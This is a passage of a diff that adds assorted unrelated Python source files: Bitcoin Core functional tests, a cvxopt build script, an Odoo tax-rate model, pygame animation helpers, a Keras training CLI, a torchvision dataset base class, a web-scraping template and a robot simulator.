mempool + assert wallet_tx_hsh not in mempool + + # ensure that unbroadcast txs are persisted to mempool.dat + self.restart_node(0) + + self.log.info("Reconnect nodes & check if they are sent to node 1") + self.connect_nodes(0, 1) + + # fast forward into the future & ensure that the second node has the txns + node.mockscheduler(MAX_INITIAL_BROADCAST_DELAY) + self.sync_mempools(timeout=30) + mempool = self.nodes[1].getrawmempool() + assert rpc_tx_hsh in mempool + assert wallet_tx_hsh in mempool + + # check that transactions are no longer in first node's unbroadcast set + mempool = self.nodes[0].getrawmempool(True) + for tx in mempool: + assert_equal(mempool[tx]['unbroadcast'], False) + + self.log.info("Add another connection & ensure transactions aren't broadcast again") + + conn = node.add_p2p_connection(P2PTxInvStore()) + node.mockscheduler(MAX_INITIAL_BROADCAST_DELAY) + time.sleep(2) # allow sufficient time for possibility of broadcast + assert_equal(len(conn.get_invs()), 0) + + self.disconnect_nodes(0, 1) + node.disconnect_p2ps() + + self.log.info("Rebroadcast transaction and ensure it is not added to unbroadcast set when already in mempool") + rpc_tx_hsh = node.sendrawtransaction(txFS["hex"]) + mempool = node.getrawmempool(True) + assert rpc_tx_hsh in mempool + assert not mempool[rpc_tx_hsh]['unbroadcast'] + + def test_txn_removal(self): + self.log.info("Test that transactions removed from mempool are removed from unbroadcast set") + node = self.nodes[0] + + # since the node doesn't have any connections, it will not receive + # any GETDATAs & thus the transaction will remain in the unbroadcast set. + addr = node.getnewaddress() + txhsh = node.sendtoaddress(addr, 0.0001) + + # check transaction was removed from unbroadcast set due to presence in + # a block + removal_reason = "Removed {} from set of unbroadcast txns before confirmation that txn was sent out".format(txhsh) + with node.assert_debug_log([removal_reason]): + node.generate(1) + +if __name__ == "__main__": + MempoolUnbroadcastTest().main() diff --git a/pool/shard000/Python/0008622_setup.py b/pool/shard000/Python/0008622_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..c1911fc7d0f0c759f9e2706b8b7105052e07c9ad --- /dev/null +++ b/pool/shard000/Python/0008622_setup.py @@ -0,0 +1,183 @@ +from distutils.core import setup, Extension +from glob import glob + +# Modifiy this if BLAS and LAPACK libraries are not in /usr/lib. +BLAS_LIB_DIR = '/usr/lib' + +# Default names of BLAS and LAPACK libraries +BLAS_LIB = ['blas'] +LAPACK_LIB = ['lapack'] +BLAS_EXTRA_LINK_ARGS = [] + +# Set environment variable BLAS_NOUNDERSCORES=1 if your BLAS/LAPACK do +# not use trailing underscores +BLAS_NOUNDERSCORES = False + +# Set to 1 if you are using the random number generators in the GNU +# Scientific Library. +BUILD_GSL = 0 + +# Directory containing libgsl (used only when BUILD_GSL = 1). +GSL_LIB_DIR = '/usr/lib' + +# Directory containing the GSL header files (used only when BUILD_GSL = 1). +GSL_INC_DIR = '/usr/include/gsl' + +# Set to 1 if you are installing the fftw module. +BUILD_FFTW = 0 + +# Directory containing libfftw3 (used only when BUILD_FFTW = 1). +FFTW_LIB_DIR = '/usr/lib' + +# Directory containing fftw.h (used only when BUILD_FFTW = 1). +FFTW_INC_DIR = '/usr/include' + +# Set to 1 if you are installing the glpk module. +BUILD_GLPK = 0 + +# Directory containing libglpk (used only when BUILD_GLPK = 1). +GLPK_LIB_DIR = '/usr/lib' + +# Directory containing glpk.h (used only when BUILD_GLPK = 1). +GLPK_INC_DIR = '/usr/include' + +# Set to 1 if you are installing the DSDP module. +BUILD_DSDP = 0 + +# Directory containing libdsdp (used only when BUILD_DSDP = 1). +DSDP_LIB_DIR = '/usr/lib' + +# Directory containing dsdp5.h (used only when BUILD_DSDP = 1). +DSDP_INC_DIR = '/usr/include/dsdp' + +# No modifications should be needed below this line. + +extmods = [] + +# Macros +MACROS = [] +if BLAS_NOUNDERSCORES: MACROS.append(('BLAS_NO_UNDERSCORE','')) + +# optional modules + +if BUILD_GSL: + gsl = Extension('gsl', libraries = ['m', 'gsl'] + BLAS_LIB, + include_dirs = [ GSL_INC_DIR ], + library_dirs = [ GSL_LIB_DIR, BLAS_LIB_DIR ], + extra_link_args = BLAS_EXTRA_LINK_ARGS, + sources = ['C/gsl.c'] ) + extmods += [gsl]; + +if BUILD_FFTW: + fftw = Extension('fftw', libraries = ['fftw3'] + BLAS_LIB, + include_dirs = [ FFTW_INC_DIR ], + library_dirs = [ FFTW_LIB_DIR, BLAS_LIB_DIR ], + extra_link_args = BLAS_EXTRA_LINK_ARGS, + sources = ['C/fftw.c'] ) + extmods += [fftw]; + +if BUILD_GLPK: + glpk = Extension('glpk', libraries = ['glpk'], + include_dirs = [ GLPK_INC_DIR ], + library_dirs = [ GLPK_LIB_DIR ], + sources = ['C/glpk.c'] ) + extmods += [glpk]; + +if BUILD_DSDP: + dsdp = Extension('dsdp', libraries = ['dsdp'] + LAPACK_LIB + BLAS_LIB, + include_dirs = [ DSDP_INC_DIR ], + library_dirs = [ DSDP_LIB_DIR, BLAS_LIB_DIR ], + extra_link_args = BLAS_EXTRA_LINK_ARGS, + sources = ['C/dsdp.c'] ) + extmods += [dsdp]; + +# Required modules + +base = Extension('base', libraries = ['m'] + LAPACK_LIB + BLAS_LIB, + library_dirs = [ BLAS_LIB_DIR ], + define_macros = MACROS, + extra_link_args = BLAS_EXTRA_LINK_ARGS, + sources = ['C/base.c','C/dense.c','C/sparse.c']) + +blas = Extension('blas', libraries = BLAS_LIB, + library_dirs = [ BLAS_LIB_DIR ], + define_macros = MACROS, + extra_link_args = BLAS_EXTRA_LINK_ARGS, + sources = ['C/blas.c'] ) + +lapack = Extension('lapack', libraries = LAPACK_LIB + BLAS_LIB, + library_dirs = [ BLAS_LIB_DIR ], + define_macros = MACROS, + extra_link_args = BLAS_EXTRA_LINK_ARGS, + sources = ['C/lapack.c'] ) + +umfpack = Extension('umfpack', + include_dirs = [ 'C/SuiteSparse/UMFPACK/Include', + 'C/SuiteSparse/AMD/Include', 'C/SuiteSparse/AMD/Source', + 'C/SuiteSparse/UFconfig' ], + library_dirs = [ BLAS_LIB_DIR ], + define_macros = MACROS, + libraries = LAPACK_LIB + BLAS_LIB, + extra_link_args = BLAS_EXTRA_LINK_ARGS, + sources = [ 'C/umfpack.c', + 'C/SuiteSparse/UMFPACK/Source/umfpack_global.c', + 'C/SuiteSparse/UMFPACK/Source/umfpack_tictoc.c' ] + + glob('C/SuiteSparse_cvxopt_extra/umfpack/*')) + +# Build for int or long? +import sys +if sys.maxsize > 2**31: MACROS += [('DLONG','')] + +cholmod = Extension('cholmod', + library_dirs = [ BLAS_LIB_DIR ], + libraries = LAPACK_LIB + BLAS_LIB, + include_dirs = [ 'C/SuiteSparse/CHOLMOD/Include', + 'C/SuiteSparse/COLAMD', 'C/SuiteSparse/AMD/Include', + 'C/SuiteSparse/UFconfig', 'C/SuiteSparse/COLAMD/Include' ], + define_macros = MACROS + [('NPARTITION', '1')], + extra_link_args = BLAS_EXTRA_LINK_ARGS, + sources = [ 'C/cholmod.c' ] + + ['C/SuiteSparse/AMD/Source/' + s for s in ['amd_global.c', + 'amd_postorder.c', 'amd_post_tree.c', 'amd_2.c']] + + ['C/SuiteSparse/COLAMD/Source/' + s for s in ['colamd.c', + 'colamd_global.c']] + + glob('C/SuiteSparse/CHOLMOD/Core/c*.c') + + glob('C/SuiteSparse/CHOLMOD/Cholesky/c*.c') + + ['C/SuiteSparse/CHOLMOD/Check/cholmod_check.c'] + + glob('C/SuiteSparse/CHOLMOD/Supernodal/c*.c') ) + +amd = Extension('amd', + include_dirs = [ 'C/SuiteSparse/AMD/Include', + 'C/SuiteSparse/UFconfig' ], + define_macros = MACROS, + sources = [ 'C/amd.c' ] + glob('C/SuiteSparse/AMD/Source/*.c') ) + +misc_solvers = Extension('misc_solvers', + libraries = LAPACK_LIB + BLAS_LIB, + library_dirs = [ BLAS_LIB_DIR ], + define_macros = MACROS, + extra_link_args = BLAS_EXTRA_LINK_ARGS, + sources = ['C/misc_solvers.c'] ) + +extmods += [base, blas, lapack, umfpack, cholmod, amd, misc_solvers] + +setup (name = 'cvxopt', + description = 'Convex optimization package', + version = '1.1.5', + long_description = ''' +CVXOPT is a free software package for convex optimization based on the +Python programming language. It can be used with the interactive Python +interpreter, on the command line by executing Python scripts, or +integrated in other software via Python extension modules. Its main +purpose is to make the development of software for convex optimization +applications straightforward by building on Python's extensive standard +library and on the strengths of Python as a high-level programming +language.''', + author = 'M. Andersen, J. Dahl, and L. Vandenberghe', + author_email = 'martin.skovgaard.andersen@gmail.com, dahl.joachim@gmail.com, vandenbe@ee.ucla.edu', + url = 'http://abel.ee.ucla.edu/cvxopt', + license = 'GNU GPL version 3', + ext_package = "cvxopt", + ext_modules = extmods, + package_dir = {"cvxopt": "python"}, + packages = ["cvxopt"]) diff --git a/pool/shard000/Python/0008629_ptkp.py b/pool/shard000/Python/0008629_ptkp.py new file mode 100644 index 0000000000000000000000000000000000000000..a04f3bd0b04ab713959ba5f1d2266d1b4c8e1d9a --- /dev/null +++ b/pool/shard000/Python/0008629_ptkp.py @@ -0,0 +1,101 @@ +# -*- coding: utf-8 -*- +# Copyright 2016 OpenSynergy Indonesia +# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). + +from openerp import models, fields, api +from openerp.tools.translate import _ +from datetime import datetime + + +class PtkpCategory(models.Model): + _name = "l10n_id.ptkp_category" + _description = "Kategori PTKP" + + name = fields.Char( + string="Category", + required=True, + ) + note = fields.Text( + string="Additional Note", + ) + + @api.multi + def get_rate(self, dt=None): + self.ensure_one() + obj_ptkp = self.env["l10n_id.ptkp"] + ptkp = obj_ptkp.find(dt) + result = ptkp.get_rate(self) + return result + + +class Ptkp(models.Model): + _name = "l10n_id.ptkp" + _description = "Tarif PTKP" + _order = "date_start desc, id" + + name = fields.Char( + string="Dasar Hukum", + required=True, + ) + date_start = fields.Date( + string="Tanggal Mulai Berlaku", + required=True, + ) + line_ids = fields.One2many( + string="Detail Tarif", + comodel_name="l10n_id.ptkp_line", + inverse_name="ptkp_id", + ) + + _sql_constraints = [ + ("date_start_unique", + "unique(date_start)", + _("Date start has to be unique")) + ] + + @api.model + def find(self, dt=None): + if not dt: + dt = datetime.now().strftime("%Y-%m-%d") + criteria = [("date_start", "<=", dt)] + results = self.search(criteria, limit=1) + if not results: + strWarning = _( + "No PTKP rate configuration for %s" % dt) + raise models.ValidationError(strWarning) + return results[0] + + @api.multi + def get_rate(self, ptkp_category): + self.ensure_one() + lines = self.line_ids.filtered( + lambda r: r.ptkp_category_id.id == ptkp_category.id) + if not lines: + raise models.ValidationError(_("Wes")) + return lines[0].ptkp_rate + + +class PtkpLine(models.Model): + _name = "l10n_id.ptkp_line" + _description = "PTKP Line" + + ptkp_id = fields.Many2one( + string="PTKP", + comodel_name="l10n_id.ptkp", + ondelete="cascade", + ) + ptkp_category_id = fields.Many2one( + string="PTKP Category", + comodel_name="l10n_id.ptkp_category", + required=True, + ) + ptkp_rate = fields.Float( + string="Tarif PTKP", + required=True, + ) + + _sql_constraints = [ + ("pktp_category_use_only_once", + "unique(ptkp_id, ptkp_category_id)", + _("PTKP category can only be used once on each PTKP")) + ] diff --git a/pool/shard000/Python/0008630_sprites.py b/pool/shard000/Python/0008630_sprites.py new file mode 100644 index 0000000000000000000000000000000000000000..4bd5e4e7c86154529f8fd43ce91aca2f34e9919a --- /dev/null +++ b/pool/shard000/Python/0008630_sprites.py @@ -0,0 +1,53 @@ +import pygame +from pygame.locals import * + + +class SpriteSheet: + + def __init__(self, image_path): + self.image = pygame.image.load(image_path).convert_alpha() + + + def image_at(self, rect): + image = self.image.subsurface(rect) + #image.convert_alpha() + return image.copy() + + def images_at(self, rect, nb): + return [self.image_at((i * rect[2], rect[1], rect[2], rect[3])) for i in range(nb)] + + +class Animation: + + def __init__(self, images): + self.images = images + self.current = 0 + + def next(self): + i = self.images[self.current] + self.current = (self.current + 1) % len(self.images) + return i + + def current_image(self): + return self.images[self.current] + + def stop(self): + self.current = 0 + + +class TimedAnimation(Animation): + + def __init__(self, images, delta): + Animation.__init__(self, images) + self.timer = pygame.time.get_ticks() + self.delta = delta + + def next(self): + if (pygame.time.get_ticks() - self.timer) > self.delta: + self.timer = pygame.time.get_ticks() + return Animation.next(self) + else: + return self.images[self.current] + + def stop(self): + pass diff --git a/pool/shard000/Python/0008631_feature_loadblock.py b/pool/shard000/Python/0008631_feature_loadblock.py new file mode 100644 index 0000000000000000000000000000000000000000..0a457ca17f749f75235d8c1ae724bcf7b42abb68 --- /dev/null +++ b/pool/shard000/Python/0008631_feature_loadblock.py @@ -0,0 +1,82 @@ +#!/usr/bin/env python3 +# Copyright (c) 2017-2020 The Bitcoin Core developers +# Distributed under the MIT software license, see the accompanying +# file COPYING or http://www.opensource.org/licenses/mit-license.php. +"""Test loadblock option + +Test the option to start a node with the option loadblock which loads +a serialized blockchain from a file (usually called bootstrap.dat). +To generate that file this test uses the helper scripts available +in contrib/linearize. +""" + +import os +import subprocess +import sys +import tempfile +import urllib + +from test_framework.test_framework import BitcoinTestFramework +from test_framework.util import assert_equal + + +class LoadblockTest(BitcoinTestFramework): + def set_test_params(self): + self.setup_clean_chain = True + self.num_nodes = 2 + self.supports_cli = False + + def run_test(self): + self.nodes[1].setnetworkactive(state=False) + self.nodes[0].generate(100) + + # Parsing the url of our node to get settings for config file + data_dir = self.nodes[0].datadir + node_url = urllib.parse.urlparse(self.nodes[0].url) + cfg_file = os.path.join(data_dir, "linearize.cfg") + bootstrap_file = os.path.join(self.options.tmpdir, "bootstrap.dat") + genesis_block = self.nodes[0].getblockhash(0) + blocks_dir = os.path.join(data_dir, self.chain, "blocks") + hash_list = tempfile.NamedTemporaryFile(dir=data_dir, + mode='w', + delete=False, + encoding="utf-8") + + self.log.info("Create linearization config file") + with open(cfg_file, "a", encoding="utf-8") as cfg: + cfg.write("datadir={}\n".format(data_dir)) + cfg.write("rpcuser={}\n".format(node_url.username)) + cfg.write("rpcpassword={}\n".format(node_url.password)) + cfg.write("port={}\n".format(node_url.port)) + cfg.write("host={}\n".format(node_url.hostname)) + cfg.write("output_file={}\n".format(bootstrap_file)) + cfg.write("max_height=100\n") + cfg.write("netmagic=fabfb5da\n") + cfg.write("input={}\n".format(blocks_dir)) + cfg.write("genesis={}\n".format(genesis_block)) + cfg.write("hashlist={}\n".format(hash_list.name)) + + base_dir = self.config["environment"]["SRCDIR"] + linearize_dir = os.path.join(base_dir, "contrib", "linearize") + + self.log.info("Run linearization of block hashes") + linearize_hashes_file = os.path.join(linearize_dir, "linearize-hashes.py") + subprocess.run([sys.executable, linearize_hashes_file, cfg_file], + stdout=hash_list, + check=True) + + self.log.info("Run linearization of block data") + linearize_data_file = os.path.join(linearize_dir, "linearize-data.py") + subprocess.run([sys.executable, linearize_data_file, cfg_file], + check=True) + + self.log.info("Restart second, unsynced node with bootstrap file") + self.restart_node(1, extra_args=["-loadblock=" + bootstrap_file]) + assert_equal(self.nodes[1].getblockcount(), 100) # start_node is blocking on all block files being imported + + assert_equal(self.nodes[1].getblockchaininfo()['blocks'], 100) + assert_equal(self.nodes[0].getbestblockhash(), self.nodes[1].getbestblockhash()) + + +if __name__ == '__main__': + LoadblockTest().main() diff --git a/pool/shard000/Python/0008632_train.py b/pool/shard000/Python/0008632_train.py new file mode 100644 index 0000000000000000000000000000000000000000..27b30f5d4f91f851cb49b31c92bad1f9fb492ff8 --- /dev/null +++ b/pool/shard000/Python/0008632_train.py @@ -0,0 +1,102 @@ +""" +CLI for training feedforward neural networks with prepared data. +""" + +import argparse +import sys +import os +import datetime +import socket +from math import sqrt + +import tensorflow.contrib.keras as keras + +import vixstructure.data as data +import vixstructure.models as models + +parser = argparse.ArgumentParser(description="Train a fully-connected neural network.") +parser.add_argument("network_depth", type=int) +parser.add_argument("network_width", type=int) +parser.add_argument("-d", "--dropout", type=float, default=None) +parser.add_argument("-op", "--optimizer", choices=["Adam", "SGD"], default="Adam") +parser.add_argument("-lr", "--learning_rate", type=float, default=0.001) +parser.add_argument("-bs", "--batch_size", type=int, default=32) +parser.add_argument("-e", "--epochs", type=int, default=100) +parser.add_argument("-n", "--normalize", action="store_true") +parser.add_argument("-q", "--quiet", action="store_true") +parser.add_argument("-s", "--save", type=str, help="Optional: Specify save path for trained model.") +parser.add_argument("-m", "--model", choices=["term_structure_to_spread_price", + "term_structure_to_spread_price_v2"], + default="term_structure_to_spread_price", + help="See models defined in vixstructure.models.") +parser.add_argument("-a", "--activation", default="relu", help="Activation function for hidden layers.", + choices=["relu", "selu"]) +parser.add_argument("--data", choices=["LongPricesDataset", "VIXLongPrice", "MinutelyData"], + default="LongPricesDataset", + help="Which data to use for training and validation.") +parser.add_argument("--days", type=int, default=1, help="How many days to predict into the future.") +parser.add_argument("--reduce_lr", action="store_true", help="If validation loss stagnates, reduce lr by sqrt(0.1).") +parser.add_argument("--shuffle_off", action="store_false", help="Don't shuffle training data.") +parser.add_argument("--include_months", action="store_true") +parser.add_argument("--include_days", action="store_true") +parser.add_argument("--early_stopping", action="store_true") + + +def train(args): + if args.data == "LongPricesDataset": + input_length = 9 + input_length += int(args.include_months) + input_length += int(args.include_days) + elif args.data == "VIXLongPrice": + input_length = 8 + else: + input_length = 9 + model = getattr(models, args.model)(args.network_depth, args.network_width, args.dropout, + activation_function=args.activation, input_data_length=input_length) + optimizer = getattr(keras.optimizers, args.optimizer)(lr=args.learning_rate) + if args.data == "LongPricesDataset": + dataset = getattr(data, args.data)("data/8_m_settle.csv", "data/expirations.csv") + (x_train, y_train), (x_val, y_val), _ = dataset.splitted_dataset(normalize=args.normalize, + with_months=args.include_months, + with_days=args.include_days, + days_to_future=args.days) + elif args.data == "MinutelyData": + dataset = getattr(data, args.data)("data/term_structure_minutely.h5") + (x_train, y_train), (x_val, y_val), _ = dataset.splitted_dataset() + else: + dataset = getattr(data, args.data)("data/8_m_settle.csv", "data/expirations.csv", "data/vix.csv") + (x_train, y_train), (x_val, y_val), _ = dataset.splitted_dataset(with_expirations=True, with_vix=True) + metrics = [] + if args.normalize: + metrics.append(dataset.denorm_mse) + model.compile(optimizer, "mean_squared_error", metrics=metrics) + callbacks = [] + if args.save: + now = datetime.datetime.now() + name = "{}_{}_depth{}_width{}_days{}_dropout{:.0e}_optim{}_lr{:.0e}{}".format( + now.strftime("%Y%m%d%H%M%S"), + socket.gethostname(), + args.network_depth, + args.network_width, + args.days, + 0 if not args.dropout else args.dropout, + args.optimizer, + args.learning_rate, + "_normalized" if args.normalize else "") + callbacks.append(keras.callbacks.CSVLogger(os.path.join(args.save, name + ".csv"))) + if args.reduce_lr: + callbacks.append(keras.callbacks.ReduceLROnPlateau(factor=sqrt(0.1), patience=20, min_lr=0.0001, verbose=1)) + if args.early_stopping: + callbacks.append(keras.callbacks.EarlyStopping(patience=22, verbose=1)) + model.fit(x_train, y_train, args.batch_size, args.epochs, verbose=0 if args.quiet else 2, + validation_data=(x_val, y_val), callbacks=callbacks, shuffle=args.shuffle_off) + if args.save: + try: + model.save_weights(os.path.join(args.save, name + ".h5")) + except FileNotFoundError as e: + print("Could not save the model.", str(e), file=sys.stderr) + + +if __name__ == "__main__": + args = parser.parse_args() + train(args) diff --git a/pool/shard000/Python/0008636_dataset.py b/pool/shard000/Python/0008636_dataset.py new file mode 100644 index 0000000000000000000000000000000000000000..5ee7c5ccc6028127969d36e03b694a9d540ee49d --- /dev/null +++ b/pool/shard000/Python/0008636_dataset.py @@ -0,0 +1,183 @@ +import abc +import csv +import importlib +import itertools +import os +import pathlib +from typing import Any, Dict, List, Optional, Sequence, Union, Tuple, Collection + +from torch.utils.data import IterDataPipe +from torchvision.prototype.utils._internal import FrozenBunch, make_repr, add_suggestion, sequence_to_str + +from .._home import use_sharded_dataset +from ._internal import BUILTIN_DIR, _make_sharded_datapipe +from ._resource import OnlineResource + + +class DatasetConfig(FrozenBunch): + # This needs to be Frozen because we often pass configs as partial(func, config=config) + # and partial() requires the parameters to be hashable. + pass + + +class DatasetInfo: + def __init__( + self, + name: str, + *, + dependencies: Collection[str] = (), + categories: Optional[Union[int, Sequence[str], str, pathlib.Path]] = None, + citation: Optional[str] = None, + homepage: Optional[str] = None, + license: Optional[str] = None, + valid_options: Optional[Dict[str, Sequence[Any]]] = None, + extra: Optional[Dict[str, Any]] = None, + ) -> None: + self.name = name.lower() + + self.dependecies = dependencies + + if categories is None: + path = BUILTIN_DIR / f"{self.name}.categories" + categories = path if path.exists() else [] + if isinstance(categories, int): + categories = [str(label) for label in range(categories)] + elif isinstance(categories, (str, pathlib.Path)): + path = pathlib.Path(categories).expanduser().resolve() + categories, *_ = zip(*self.read_categories_file(path)) + self.categories = tuple(categories) + + self.citation = citation + self.homepage = homepage + self.license = license + + self._valid_options = valid_options or dict() + self._configs = tuple( + DatasetConfig(**dict(zip(self._valid_options.keys(), combination))) + for combination in itertools.product(*self._valid_options.values()) + ) + + self.extra = FrozenBunch(extra or dict()) + + @property + def default_config(self) -> DatasetConfig: + return self._configs[0] + + @staticmethod + def read_categories_file(path: pathlib.Path) -> List[List[str]]: + with open(path, newline="") as file: + return [row for row in csv.reader(file)] + + def make_config(self, **options: Any) -> DatasetConfig: + if not self._valid_options and options: + raise ValueError( + f"Dataset {self.name} does not take any options, " + f"but got {sequence_to_str(list(options), separate_last=' and')}." + ) + + for name, arg in options.items(): + if name not in self._valid_options: + raise ValueError( + add_suggestion( + f"Unknown option '{name}' of dataset {self.name}.", + word=name, + possibilities=sorted(self._valid_options.keys()), + ) + ) + + valid_args = self._valid_options[name] + + if arg not in valid_args: + raise ValueError( + add_suggestion( + f"Invalid argument '{arg}' for option '{name}' of dataset {self.name}.", + word=arg, + possibilities=valid_args, + ) + ) + + return DatasetConfig(self.default_config, **options) + + def check_dependencies(self) -> None: + for dependency in self.dependecies: + try: + importlib.import_module(dependency) + except ModuleNotFoundError as error: + raise ModuleNotFoundError( + f"Dataset '{self.name}' depends on the third-party package '{dependency}'. " + f"Please install it, for example with `pip install {dependency}`." + ) from error + + def __repr__(self) -> str: + items = [("name", self.name)] + for key in ("citation", "homepage", "license"): + value = getattr(self, key) + if value is not None: + items.append((key, value)) + items.extend(sorted((key, sequence_to_str(value)) for key, value in self._valid_options.items())) + return make_repr(type(self).__name__, items) + + +class Dataset(abc.ABC): + def __init__(self) -> None: + self._info = self._make_info() + + @abc.abstractmethod + def _make_info(self) -> DatasetInfo: + pass + + @property + def info(self) -> DatasetInfo: + return self._info + + @property + def name(self) -> str: + return self.info.name + + @property + def default_config(self) -> DatasetConfig: + return self.info.default_config + + @property + def categories(self) -> Tuple[str, ...]: + return self.info.categories + + @abc.abstractmethod + def resources(self, config: DatasetConfig) -> List[OnlineResource]: + pass + + @abc.abstractmethod + def _make_datapipe( + self, + resource_dps: List[IterDataPipe], + *, + config: DatasetConfig, + ) -> IterDataPipe[Dict[str, Any]]: + pass + + def supports_sharded(self) -> bool: + return False + + def load( + self, + root: Union[str, pathlib.Path], + *, + config: Optional[DatasetConfig] = None, + skip_integrity_check: bool = False, + ) -> IterDataPipe[Dict[str, Any]]: + if not config: + config = self.info.default_config + + if use_sharded_dataset() and self.supports_sharded(): + root = os.path.join(root, *config.values()) + dataset_size = self.info.extra["sizes"][config] + return _make_sharded_datapipe(root, dataset_size) # type: ignore[no-any-return] + + self.info.check_dependencies() + resource_dps = [ + resource.load(root, skip_integrity_check=skip_integrity_check) for resource in self.resources(config) + ] + return self._make_datapipe(resource_dps, config=config) + + def _generate_categories(self, root: pathlib.Path) -> Sequence[Union[str, Sequence[str]]]: + raise NotImplementedError diff --git a/pool/shard000/Python/0008638_scratchListTemplate.py b/pool/shard000/Python/0008638_scratchListTemplate.py new file mode 100644 index 0000000000000000000000000000000000000000..bf8350940166bd9a805968ee8146172af92021b7 --- /dev/null +++ b/pool/shard000/Python/0008638_scratchListTemplate.py @@ -0,0 +1,54 @@ +# coding:utf-8 +#!/usr/bin/env python +# coding:utf-8 +# @Date : 2017-01-01 20:38:38 +# @Author : Smile Hu (smile.hu@sap.com) +# @Link : http://www.smilehu.com + +import sys +reload(sys) +sys.setdefaultencoding('utf-8') + + +from bs4 import BeautifulSoup +import requests +from time import sleep + +headers = { + 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/44.0', + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Accept-Language': 'en-US,en;q=0.5', + 'Accept-Encoding': 'gzip, deflate', + 'Connection': 'keep-alive'} + +def getListData(outputfile, *args): + url = ''.join(args) + print url + html = requests.get(url, headers=headers).text + beautyHtml = BeautifulSoup(html, 'lxml') + + # 第三步:最重要的定制规则 + # 搜索tag + tag = beautyHtml.find('div', attrs={'class': 'bottom'}) + tags = beautyHtml.find_all('div') + tags = beautyHtml.find_all(id='html') + sub_tags = tag.find_all('div') + + # 获取tag的值 + tag_value = tag.div.string # type: bs4.element.NavigableString 也是一种unicode, 可以用str() 进行转换 + tag_value = tag.head.text # type: bs4.element.NavigableString 也是一种unicode, 可以用str() 进行转换 + + # 获取property的值 + property_value = tag['class'].string + + +if __name__ == '__main': + # 第一步:确定好输出文件 + inputfliePath = '/Users/i309929/Desktop/input.txt' + outputfile = open(inputfliePath, 'w') + + # 第二步:定制url + url = 'http://www.aqistudy.cn/historydata/index.php' + getListData(outputfile, url) + + outputfile.close() diff --git a/pool/shard000/Python/0008640_main.py b/pool/shard000/Python/0008640_main.py new file mode 100644 index 0000000000000000000000000000000000000000..fea62015b945891900e1566d30544f210e60c239 --- /dev/null +++ b/pool/shard000/Python/0008640_main.py @@ -0,0 +1,209 @@ +from vec import Vec2, vec2_from_direction + +import sys +#from sdl2.ext import * +import sdl2.ext as sdl +import sdl2 +import math +import time +import os +import pdb + + +command_filename = "/tmp/hexsim/command" +START_X_POS = -0.3 +START_Y_POS = 1 +START_ANGLE = -0.2 * math.pi + +class Robot: + def __init__(self, sensor_positions): + self.position = Vec2(START_X_POS,START_Y_POS) + self.angle = START_ANGLE + self.sensor_positions = sensor_positions + + +def set_command_file(): + with open(command_filename, 'w') as cmd_file: + cmd_file.write("0.0,0.0,0.0") + cmd_file.close() + +def read_commands(): + """ + Returns a tuple with speed forward, speed left/right and turn speed + """ + + with open(command_filename) as txt: + file_content = txt.read() + while len(file_content) == 0: + file_content = txt.read() + split_content = file_content.split(",") + + return ( + float(split_content[0]), + float(split_content[1]), + float(split_content[2]) + ) + + +def add_noise_function(command, function): + command = function(command) + return command + + +def update_robot(robot, command, delta_time): + forward, strafe, turn = command + + robot.position += vec2_from_direction(robot.angle - math.pi/2, forward * delta_time) + robot.position += vec2_from_direction(robot.angle, strafe * delta_time) + robot.angle += turn * delta_time + + return robot + + +WINDOW_SIZE = (1300, 700) + +def init_window(): + window = sdl.Window("Hello World!", size=WINDOW_SIZE) + window.show() + + return window + + +def meters_to_pixels(m): + return int(m * 350) + + +def draw_robot(surface, robot): + pos_x = meters_to_pixels(robot.position.x) + WINDOW_SIZE[0] // 2 + pos_y = meters_to_pixels(robot.position.y) % WINDOW_SIZE[1] + + line = ( + pos_x, + pos_y, + pos_x + int(meters_to_pixels(0.10) * math.cos(robot.angle - math.pi / 2)), + pos_y + int(meters_to_pixels(0.10) * math.sin(robot.angle - math.pi / 2)), + pos_x, + pos_y, + pos_x + int(meters_to_pixels(0.05) * math.cos(robot.angle + math.pi / 2)), + pos_y + int(meters_to_pixels(0.05) * math.sin(robot.angle + math.pi / 2)), + pos_x, + pos_y, + pos_x + int(meters_to_pixels(0.05) * math.cos(robot.angle + 0)), + pos_y + int(meters_to_pixels(0.05) * math.sin(robot.angle + 0)), + pos_x, + pos_y, + pos_x + int(meters_to_pixels(0.05) * math.cos(robot.angle - math.pi)), + pos_y + int(meters_to_pixels(0.05) * math.sin(robot.angle - math.pi)) + ) + + sdl.line(surface, sdl.Color(255,255,100), line) + + +def draw(window, robot): + events = sdl.get_events() + for event in events: + if event.type == sdl2.SDL_QUIT: + running = False + break + + surface = window.get_surface() + sdl.fill(surface, sdl.Color(0,0,0)) + + #Drawing the walls + sdl.line(surface, sdl.Color(255,255,255), + ( + - meters_to_pixels(0.4) + WINDOW_SIZE[0] // 2, 0, + - meters_to_pixels(0.4) + WINDOW_SIZE[0] // 2, WINDOW_SIZE[1], + meters_to_pixels(0.4) + WINDOW_SIZE[0] // 2, 0, + meters_to_pixels(0.4) + WINDOW_SIZE[0] // 2, WINDOW_SIZE[1] + )) + + draw_robot(surface, robot) + + window.refresh() + + + +def get_senor_position(robot, sensor_pos): + sensor_angle = math.atan2(sensor_pos.y, sensor_pos.x) + sensor_length = abs(sensor_pos) + + total_angle = robot.angle + sensor_angle + + new_pos = robot.position + vec2_from_direction(total_angle, sensor_length) + + return new_pos + + +def write_sensor_data(robot): + result = "" + str(robot.angle) + + for i in range(len(robot.sensor_positions)): + sensor = robot.sensor_positions[i] + + sensor_pos = get_senor_position(robot, sensor) + sensor_value = 0 + if i <= 1: + sensor_angle = robot.angle + + wall_pos = 0.4 + + x_distance = wall_pos - sensor_pos.x + + sensor_value = x_distance / math.cos(sensor_angle) + else: + sensor_angle = robot.angle + math.pi + + wall_pos = - 0.4 + + x_distance = wall_pos - sensor_pos.x + + sensor_value = x_distance / math.cos(sensor_angle) + + result += "," + str(sensor_value) #+ math.sin(time.time() * 7)/20) + + file_path = "/tmp/hexsim/sensors" + + with open(file_path, mode="w") as file: + file.write(result) + + return result + + +def set_start_values(): + noise_function = lambda cmd: ( + cmd[0], + cmd[1], #+ math.sin(time.time())/15, + cmd[2] #+ math.sin(time.time() * 3)/15 + ) + return (noise_function, [Vec2(0.1,0.1), Vec2(0.1,-0.1), Vec2(-0.1,0.1), Vec2(-0.1,-0.1)]) + +def main(): + set_command_file() + + noise_func, sensor_positions = set_start_values() + + robot = Robot(sensor_positions) + + window = init_window() + + 